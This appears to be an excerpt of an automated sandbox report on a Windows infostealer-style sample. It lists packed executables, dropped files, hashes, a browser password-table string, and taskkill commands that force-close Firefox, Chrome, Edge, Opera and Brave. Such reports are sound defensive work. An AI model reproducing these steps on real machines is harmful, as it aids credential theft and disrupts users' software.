Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DEA4 15_3_0083DEA4
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DEA4 15_3_0083DEA4
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DED3 15_3_0083DED3
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DED3 15_3_0083DED3
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7848 -s 1080
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000003.1594028991.0000000006149000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597729387.00000000063AD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582334512.000000000614A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586930997.00000000062EA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587314133.0000000006144000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1585770199.0000000006213000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592187649.000000000635B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1585468314.00000000062D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599518779.000000000614B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581700696.00000000061DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610954813.000000000614C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1593864161.000000000626F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1583200393.0000000006294000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582541892.0000000006147000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586140457.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1589834271.0000000006341000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595792358.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1590820292.000000000624A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1583495973.000000000620A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599790939.00000000063CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587194356.000000000622F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597379435.0000000006277000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581882684.0000000006150000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597994057.000000000614B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582234874.00000000061EA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610120228.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588455749.0000000006320000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1585602065.000000000614C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1593577904.000000000637E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600376564.00000000063D7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582636060.00000000061EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588036623.000000000623C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582835087.0000000006145000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598347467.0000000006288000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1585204621.0000000006208000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1584343900.00000000062C0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588593986.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587792606.0000000006310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586027397.000000000621F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586734923.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587072140.000000000614C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586596078.0000000006144000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1591941948.000000000624C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600589828.000000000614B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1583783063.0000000006147000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1584083119.00000000061FC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599369711.0000000006283000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599073018.0000000006285000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609813391.0000000005D63000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582144304.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1584808977.000000000620A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581954779.00000000061E9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588881826.0000000006145000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599671970.0000000006283000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1594352951.0000000006263000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587437217.000000000622C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588734861.0000000006233000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586358978.0000000006142000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1591363020.0000000006251000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596346073.0000000006278000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601050691.0000000006148000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1584970128.0000000006143000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582050843.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1593727458.0000000006147000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595107400.0000000006269000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600116669.0000000006287000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588301761.000000000622A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1594819220.0000000006270000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1593439792.000000000625D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1594672760.0000000006142000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582725354.000000000629D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587672971.0000000006228000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581613134.000000000614F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1583326656.0000000006151000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581785593.0000000005DAA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600808771.0000000006299000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581509046.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592386494.0000000006143000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595250799.00000000063A0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1588155947.0000000006143000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599946098.0000000006142000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582426086.00000000061EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581417769.0000000005F42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592721609.0000000006347000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597099636.0000000006147000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587909636.000000000614C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586232529.0000000006216000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1594960321.0000000006144000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1591143323.0000000006144000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592595448.0000000006243000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592967982.0000000006252000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1584580221.000000000614B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609874702.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598670969.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599224295.000000000614E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1586470530.000000000621D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1590393331.000000000614F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1583098091.00000000061E9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1587555268.0000000006146000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1593171704.000000000614B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1594477928.0000000006390000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1592838727.0000000006149000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610844268.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1585914074.000000000614A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1589072436.000000000623C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1591645881.0000000006148000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9980223844043887
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: Section: dpsjfuxk ZLIB complexity 0.9938839796112805
Source: skotes.exe.4.dr Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: skotes.exe.4.dr Static PE information: Section: dpsjfuxk ZLIB complexity 0.9938839796112805
Source: random[1].exe.13.dr Static PE information: Section: ZLIB complexity 0.9980223844043887
Source: 51c532c207.exe.13.dr Static PE information: Section: ZLIB complexity 0.9980223844043887
Source: random[1].exe0.13.dr Static PE information: Section: lolfhxxi ZLIB complexity 0.994913422527048
Source: cc6c7213b6.exe.13.dr Static PE information: Section: lolfhxxi ZLIB complexity 0.994913422527048
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: Section: dpsjfuxk ZLIB complexity 0.9938839796112805
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: Section: dpsjfuxk ZLIB complexity 0.9938839796112805
Source: cc6c7213b6.exe.13.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.13.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@66/33@47/11
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2220:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1148:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:768:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7848
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3580:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3776:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.1452991258.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1466296710.0000000005CBE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1466200461.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452732224.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2170339588.00000000053A5000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053A7000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2342990882.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2318135693.0000000005146000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319815629.0000000005127000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2340854572.0000000005147000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 47%
Source: file.exe String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696493966); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970); user_pref("app.update.lastUpdateTime.xpi-signature-v
Source: OR17DXDL5BQ5H62NVD1DH.exe String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: XVTAV824L7GG4HFUZ6DTK345T.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe "C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe "C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe"
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7848 -s 1080
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe "C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe "C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe "C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe"
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe "C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe"
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
